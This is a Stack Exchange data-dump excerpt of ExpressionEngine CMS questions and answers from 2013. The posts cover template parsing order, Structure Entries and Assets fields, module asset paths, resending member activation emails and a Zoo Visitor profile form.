  <row Id="11214" PostTypeId="1" AcceptedAnswerId="11219" CreationDate="2013-06-12T22:29:47.090" Score="1" ViewCount="126" Body="&lt;p&gt;I'm using the Forum Module on a client site. I want to add two custom member fields to the registration form. Does anyone know if this is possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme template has a tag for custom fields, but they don't seem to show up. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_fields}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot;&amp;gt;&#xA;            {required}&amp;lt;span class=&quot;fm-required&quot;&amp;gt;*&amp;lt;/span&amp;gt;{/required} {field_name}&#xA;            {if field_description}&#xA;                &amp;lt;span class=&quot;fm-field-notes&quot;&amp;gt;{field_description}&amp;lt;/span&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;td class=&quot;fm-content-wrapper&quot;&amp;gt;&#xA;            {field}&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    {/custom_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="279" LastActivityDate="2013-06-13T06:46:45.127" Title="Can the discussion forum registration display custom fields?" Tags="|templates|custom-fields|forum|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11215" PostTypeId="2" ParentId="11211" CreationDate="2013-06-12T23:23:19.740" Score="2" Body="&lt;p&gt;Robson's suggestion is on the money. Another approach would be to use the awesome &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse&lt;/a&gt; add-on so parsing is less of an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using your example, it would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}    &#xA;    {if segment_4 != &quot;&quot; || segment_2 != &quot;staff-bio&quot;}&#xA;        {redirect=&quot;404&quot;}&#xA;    {if:elseif segment_2 == &quot;staff_bio&quot;}&#xA;        {if segment_4 == &quot;&quot;}&#xA;            {exp:channel:entries [...] require_entry=&quot;yes&quot;}&#xA;                {no_results}{redirect=&quot;404&quot;}{/no_results}&#xA;            {/exp:cahnnel:entries}&#xA;        {/if}&#xA;    {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% sure you even need that condition in the if:elseif part, but it's a place to start. :)&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2013-06-12T23:23:19.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11216" PostTypeId="2" ParentId="11101" CreationDate="2013-06-13T00:04:30.967" Score="0" Body="&lt;p&gt;We figured it out. It was only happening on random people's machines. They were logging in at example.com/system/....and not example.com/admin.php (masked cp access). Once they log in at the right url (admin.php and not system) all was well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the domain (www/dev/secure/etc), http and https, and the segment after the tld (system folder path or masked cp access) can all cause these problems.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-06-13T00:04:30.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11217" PostTypeId="1" CreationDate="2013-06-13T00:21:30.020" Score="0" ViewCount="393" Body="&lt;p&gt;I'm running into a problem with Assets &amp;amp; &lt;a href=&quot;http://devot-ee.com/add-ons/structure-entries&quot; rel=&quot;nofollow&quot;&gt;Structure Entries 1.3.4 &amp;amp; 1.2.8&lt;/a&gt; — effectively it boils down to the fact that my Assets field only returns the filename, not the entire folder path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a couple of examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;staff&quot;}&#xA;  {staff_photo} - returns /ee-uploads/images/staff/filename.jpg&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works as expected, however if I need to do this within Structure Entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure_entries depth=&quot;1&quot; parent=&quot;9&quot;}&#xA;  {staff_photo} - returns filename.jpg but not the full path&#xA;  {staff_photo:url} - returns nothing just the tag&#xA;{/exp:structure_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried adding parse inward to this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure_entries depth=&quot;1&quot; parent=&quot;9&quot; parse=&quot;inward&quot;}&#xA;  {staff_photo} - returns filename.jpg but not the full path&#xA;  {staff_photo:url} - returns nothing just the tag&#xA;{/exp:structure_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I get the exact same result with or without &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;. Does anyone have any ideas I'm really stuck here. It's worth noting that this problem doesn't arise when using the build in Structure tag of &lt;code&gt;exp:structure:entries&lt;/code&gt; but I need access to the {current_page} variable available within the Structure Entries plugin as well as a couple of other features. Any help would be really appreciated at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine: 2.6.1 / Assets: 2.1.3 / Structure 3.3.10 / Structure Entries 1.3.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;It's worth noting that when I add the parse inward tag I do get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  Severity: Notice&#xA;&#xA;  Message: Undefined property: Assets_ft::$row&#xA;&#xA;  Filename: assets/ft.assets.php&#xA;&#xA;  Line Number: 1094&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="379" LastEditorUserId="379" LastEditDate="2013-06-13T01:53:20.427" LastActivityDate="2018-11-24T03:55:51.723" Title="Assets Field within Structure Entries" Tags="|assets|structure|parse-order|related-entries|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11218" PostTypeId="2" ParentId="11199" CreationDate="2013-06-13T06:44:27.113" Score="0" Body="&lt;p&gt;There isn't any available hook or add-on for it. You will need to customize the EE's controller file Content_files and associate view file for it.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-13T06:44:27.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11219" PostTypeId="2" ParentId="11214" CreationDate="2013-06-13T06:46:45.127" Score="0" Body="&lt;p&gt;Go to the &quot;Edit Field&quot; area of that member field and check if &quot;Is field visible in registration page?&quot; selected as &quot;Yes&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-13T06:46:45.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11220" PostTypeId="1" AcceptedAnswerId="11223" CreationDate="2013-06-13T07:08:11.250" Score="1" ViewCount="97" Body="&lt;p&gt;We're using an EE (2.6.1) plug-in that doesn't process embedded templates, which we would like to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we embed a template inside of the code below the embeded code displays exactly as is, non-parsed static text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've tried adjusting the PHP parsing order, since some of the embedded templates use PHP. We've tried parse=&quot;inward&quot; on the channel tag, switching tag orders and even snippets to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help pointing me in the right direction would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code excerpt from top of template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;people&quot; limit=&quot;1&quot;}&#xA;{exp:shine_pdf:make&#xA;    format=&quot;letter&quot;&#xA;    default_font_size=&quot;11&quot;&#xA;    default_font=&quot;Helvetica&quot;&#xA;    margin_left=&quot;0&quot;&#xA;    margin_right=&quot;0&quot;&#xA;    margin_top=&quot;0&quot;&#xA;    margin_bottom=&quot;0&quot;&#xA;    margin_header=&quot;0&quot;&#xA;    margin_footer=&quot;0&quot;&#xA;    orientation=&quot;p&quot;&#xA;    margin_top_auto=&quot;no&quot;&#xA;    margin_bottom_auto=&quot;no&quot;&#xA;&#xA;channel=&quot;people&quot;&#xA;&#xA;limit=&quot;1&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-06-13T08:43:38.797" Title="Using embedded templates with plugin that doesn't parse them" Tags="|add-on|channel-entries|templates|plugin|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11221" PostTypeId="2" ParentId="11166" CreationDate="2013-06-13T07:21:14.310" Score="1" Body="&lt;p&gt;The Safecracker supports some of the CodeIgnitor's validation rules (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#rules-my-field-name&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#rules-my-field-name&lt;/a&gt;) but it doesn't support the validation rule for &quot;is_unique&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I 'm still wondering this rule is available in CodeIgnitor but not in EE which uses CodeIgnitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be 2 ways to achieve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You can add new rule for &quot;is_unique&quot; with form validation file &quot;/system/codeigniter/system/libraries/Form_validation.php&quot;. But I am not sure it would work for EE as never tried it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) An extension can be developed using the hook &quot;safecracker_submit_entry_start&quot;, in this extension, check for unique email address and throw the error if already registered.&#xA;I am sure about this approach and it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-13T07:21:14.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11222" PostTypeId="2" ParentId="11217" CreationDate="2013-06-13T08:12:30.377" Score="1" Body="&lt;p&gt;the issue is that Structure Entries doesn't parse the newer variable references (e.g. {staff_photo:url}) and it only parses EE file paths:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;typography-&amp;gt;parse_file_paths($output);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alas the add-on is very old and tries to manually parse each row and each fieldtype it supports (only aimed at supporting Playa and Matrix originally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies for this suggestion as this is a fudge fix, but try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure_entries depth=&quot;1&quot; parent=&quot;9&quot;}&#xA;  {exp:assets:files filename=&quot;{staff_photo}&quot;}{url_huge}{/exp:assets:files}&#xA;{/exp:structure_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/module/files.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/assets/templating/module/files.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that:&#xA;&lt;a href=&quot;https://github.com/rsanchez/parse_file_paths&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/parse_file_paths&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-06-13T08:12:30.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11223" PostTypeId="2" ParentId="11220" CreationDate="2013-06-13T08:43:38.797" Score="2" Body="&lt;p&gt;Embed templates don't parse in the way you're expecting them to.  And PHP will be irrelevant here to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening is EE parses the parent template first - completely, so in your example it will parse the exp:channel:entries tag, then the exp:shine_pdf tag. These will be complete and fully parsed. Finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then EE will parse the embedded templates in exactly the same way, until completely parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE will then insert the parsed child template into the position you requested in the already parsed parent template.  Therefore the parent tags will never be able to utilise the content of the child.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your instance, the PDF is already created and done before EE begins to look at the embedded template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to solve the issue is to not have an embed, or that your shine_pdf tag is in the embedded template (possibly passing any relevant variables from the channel:entries to the embed...?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an excellent reference to parsing order:&#xA;&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;http://loweblog.com/downloads/ee-parse-order.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-06-13T08:43:38.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11224" PostTypeId="2" ParentId="10971" CreationDate="2013-06-13T08:48:14.877" Score="0" Body="&lt;p&gt;We have the latest version 2.7.4 together with EE 2.5.3 but get a similar error.&#xA;Any idea what this can be? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined function ee() in&#xA;  /.../system/expressionengine/third_party/channel_polls/ft.channel_polls.php&#xA;  on line 476&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="656" LastActivityDate="2013-06-13T08:48:14.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11225" PostTypeId="1" AcceptedAnswerId="11226" CreationDate="2013-06-13T10:01:55.807" Score="0" ViewCount="185" Body="&lt;p&gt;I'm building a a module and I am having trouble trying to load images for my css styles and views..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;file stucture:&#xA;third_party:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;module&#xA;&lt;ul&gt;&#xA;&lt;li&gt;javascript&lt;/li&gt;&#xA;&lt;li&gt;css&lt;/li&gt;&#xA;&lt;li&gt;views&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have tried '../images/file.png' but no go as obviously the path is incorrect on page render.&lt;/p&gt;&#xA;" OwnerUserId="619" LastActivityDate="2013-06-13T10:31:08.397" Title="EE2.x Module development reference images in css and views" Tags="|add-on-development|module|stylesheets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11226" PostTypeId="2" ParentId="11225" CreationDate="2013-06-13T10:31:08.397" Score="2" Body="&lt;p&gt;You'll need to use the &lt;code&gt;themes&lt;/code&gt; folder to use assets like images. So use a file structure like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/system/expressionengine/system/third_party/my_addon/[your-addon-files]&#xA;/system/expressionengine/system/third_party/my_addon/views/[your-addon-view-files]&#xA;/themes/third_party/my_addon/css/[css-files]&#xA;/themes/third_party/my_addon/images/[your-images]&#xA;/themes/third_party/my_addon/javascript/[your-js]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use &lt;code&gt;../images/my-image.png&lt;/code&gt; in your css files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_head()&lt;/code&gt; to add the CSS to the CP's head-element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_foot()&lt;/code&gt; to add any JS to the footer of the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/cp.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/cp.html&lt;/a&gt; (for CP stuff)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/constants.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/constants.html&lt;/a&gt; (for getting the paths to the themes folder)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-06-13T10:31:08.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11227" PostTypeId="1" CreationDate="2013-06-13T11:38:32.033" Score="1" ViewCount="190" Body="&lt;p&gt;I've got a custom module, with a layout tab, with several fields in it, and that all works fine.&#xA;The title of the tab, however, is the lower case module name, and I don't seem to be able to change that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a lang.*.php file in my language/english directory, and a matching lower case module name field (as in the &lt;a href=&quot;https://github.com/EllisLab/ee-tuts-download-module&quot; rel=&quot;nofollow&quot;&gt;download module example&lt;/a&gt; - which gets its tab title from the eponymous 'download' key in the lang file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1466" LastEditorUserId="1466" LastEditDate="2013-06-13T11:44:06.117" LastActivityDate="2013-06-14T01:52:26.457" Title="Where can I set the title of my module's layout tab(s)?" Tags="|module|publish-layout|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11228" PostTypeId="1" AcceptedAnswerId="11229" CreationDate="2013-06-13T12:17:06.587" Score="1" ViewCount="502" Body="&lt;p&gt;Is it possible to re-send activation emails? I am looking at a member profile in the back-end who is &quot;pending&quot;. For some reason they haven't received the initial activation email and I would like to send it to them again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when they try to login, it tells them that they need to activate there account. I would like to have a link in there so they can re-send the activation email to themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-06-13T12:25:27.643" Title="How can I re-send member activation email" Tags="|members|email|activation|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11229" PostTypeId="2" ParentId="11228" CreationDate="2013-06-13T12:25:27.643" Score="2" Body="&lt;p&gt;Yes, you can resent the activation link from Member Administration area of that member. While going to that you can see &quot;Resend Activation Email&quot; link at left bottom.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, when they try to login, it tells them that they need to activate&#xA;  there account. I would like to have a link in there so they can&#xA;  re-send the activation email to themselves.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Could you share more info about this point.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-13T12:25:27.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11230" PostTypeId="1" CreationDate="2013-06-13T12:34:32.647" Score="1" ViewCount="178" Body="&lt;p&gt;I have an issue I’ve never run into before. I’ve recently started scheduling posts for the future on a site and I have a reverse related entries tag (EE 2.5.5) that is showing these future entries and I can’t make it not do that. It’s pretty essential that this tag not show future entries and the reverse related entries tag (again, EE 2.5.5) does not seem to accept the show_future_entries parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2013-06-14T07:58:58.187" Title="Reverse Related Entry Showing A Future Post" Tags="|channel|reverse-related-entries|future-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11231" PostTypeId="2" ParentId="11230" CreationDate="2013-06-13T13:25:42.690" Score="3" Body="&lt;p&gt;Reverse related entries does support six of the typical parameters &quot;channel&quot;, &quot;status&quot;, &quot;sort&quot;, &quot;orderby&quot;, &quot;offset&quot;, &quot;limit&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So parameter &quot;show_future_entries&quot; wouldn't be supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;/strong&gt; EDITED &lt;strong&gt;&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;***&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fulfill you need with SQL in Query module with the following code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name1&quot; limit=&quot;xx&quot;}&#xA;    {exp:query sql=&quot;SELECT GROUP_CONCAT(CAST(rel_parent_id AS CHAR) SEPARATOR '|') AS parent_ids FROM exp_relationships WHERE rel_child_id='{entry_id}'&quot;}&#xA;        {embed=&quot;temp_grp/tmp_name&quot; parent_ids=&quot;{parent_ids}&quot;}&#xA;    {/exp:query}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in template &quot;temp_grp/tmp_name&quot;, put the channel entries tag like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name2&quot; entry_id=&quot;{embed:parent_ids}&quot; limit=&quot;xx&quot; show_future_entries=&quot;no&quot;}&#xA;    &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, you can pass all the parameter of channel entry tag including show_future_entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-06-13T17:05:26.160" LastActivityDate="2013-06-13T17:05:26.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11233" PostTypeId="1" AcceptedAnswerId="11234" CreationDate="2013-06-13T14:05:08.293" Score="1" ViewCount="390" Body="&lt;p&gt;I have a profile edit page where members should be able to update their content. The superadmin account has no problems only members. Unfortunately when they try to update the form is submitted and then they see the error in the attached screenshot.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ES2Ur.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;In my form I’ve explicitly set require_password=“no” but this problem is persisting.&#xA;Below is the code from my form. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:zoo_visitor:update_form return=&quot;/profile/success&quot; require_password=&quot;no&quot;}&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Your Info&amp;lt;/legend&amp;gt;&#xA;&#xA;      &amp;lt;label for=&quot;EE_email&quot; class=&quot;form-label&quot;&amp;gt;Your login email:&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot; class=&quot;form-text&quot; value=&quot;{username}&quot; /&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;          &amp;lt;label for=&quot;member_firstname&quot;&amp;gt;{label:member_firstname}&amp;lt;/label&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;member_firstname&quot; id=&quot;member_firstname&quot; value=&quot;{if member_firstname}{member_firstname}{/if}&quot;/&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;          &amp;lt;label for=&quot;member_lastname&quot;&amp;gt;{label:member_lastname}&amp;lt;/label&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;member_lastname&quot; id=&quot;member_lastname&quot; value=&quot;{if member_lastname}{member_lastname}{/if}&quot;/&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--row--&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;mbr_url&quot;&amp;gt;{label:mbr_url}: don't forget http://&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;mbr_url&quot; id=&quot;mbr_url&quot; value=&quot;{if mbr_url}{mbr_url}{/if}&quot; placeholder=&quot;http://cayugahospitality.com&quot;/&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;&#xA;          &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;mbr_location&quot;&amp;gt;{label:mbr_location}&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;mbr_location&quot; id=&quot;mbr_location&quot; value=&quot;{if mbr_location}{mbr_location}{/if}&quot;/&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--row--&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;member_photo&quot;&amp;gt;Photo: Upload a square photo of your face. Make sure this is a .jpg or .png and no more than 2MB or 600px by 600px.&amp;lt;/label&amp;gt;&#xA;            {field:member_photo}&#xA;          &amp;lt;/div&amp;gt;&#xA;&#xA;          &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;member_linkedin&quot;&amp;gt;{label:member_linkedin}&amp;lt;/label&amp;gt;&#xA;            {field:member_linkedin}&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--row--&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;label for=&quot;mbr_bio&quot;&amp;gt;{label:mbr_bio}&amp;lt;/label&amp;gt;&#xA;        {field:mbr_bio}&#xA;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;  &amp;lt;fieldset id=&quot;bios&quot;&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Cayuga Membership&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;label for=&quot;member_divisions&quot;&amp;gt;{label:member_divisions}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;p&amp;gt;Select the divisions you represent and drag them to the right side.&amp;lt;/p&amp;gt;&#xA;        {field:member_divisions}&#xA;&#xA;        &amp;lt;label for=&quot;member_clients&quot;&amp;gt;{label:member_clients}&amp;lt;/label&amp;gt;&#xA;        {field:member_clients}&#xA;&#xA;        &amp;lt;label for=&quot;member_projects&quot;&amp;gt;{label:member_projects}&amp;lt;/label&amp;gt;&#xA;        {field:member_projects}&#xA;&#xA;        &amp;lt;label for=&quot;member_testimonials&quot;&amp;gt;{label:member_testimonials}&amp;lt;/label&amp;gt;&#xA;        {field:member_testimonials}&#xA;&#xA;        &amp;lt;label for=&quot;member_speakers&quot;&amp;gt;{label:member_speakers}&amp;lt;/label&amp;gt;&#xA;        {field:member_speakers}&#xA;&#xA;        &amp;lt;div id=&quot;speakers-bio&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;member_divisions&quot;&amp;gt;{label:member_speakers_bio}&amp;lt;/label&amp;gt;&#xA;        {field:member_speakers_bio}&#xA;&#xA;        &amp;lt;label for=&quot;member_topics&quot;&amp;gt;{label:member_topics}&amp;lt;/label&amp;gt;&#xA;        {field:member_topics}&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; value=&quot;{username}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;button&quot;/&amp;gt;&#xA;&#xA;  {/exp:zoo_visitor:update_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-06-13T14:22:08.933" Title="Zoo Visitor: Members unable to update profile on front end" Tags="|members|forms|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11234" PostTypeId="2" ParentId="11233" CreationDate="2013-06-13T14:22:08.933" Score="4" Body="&lt;p&gt;&quot;When updating username, screen_name or password inside the update form providing the current password is always required except for super-admins and the parameter does not have to be specified.&quot; Source: &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/update.html&quot; rel=&quot;nofollow&quot;&gt;http://ee-zoo.com/docs/visitor/tags/update.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the user may not explicitly be updating their username, for example, since the field appears in the form, the above will apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why I had to separate general profile information from username &amp;amp; password as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/image/2r3E123Q3o0J&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/2r3E123Q3o0J&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="317" LastActivityDate="2013-06-13T14:22:08.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
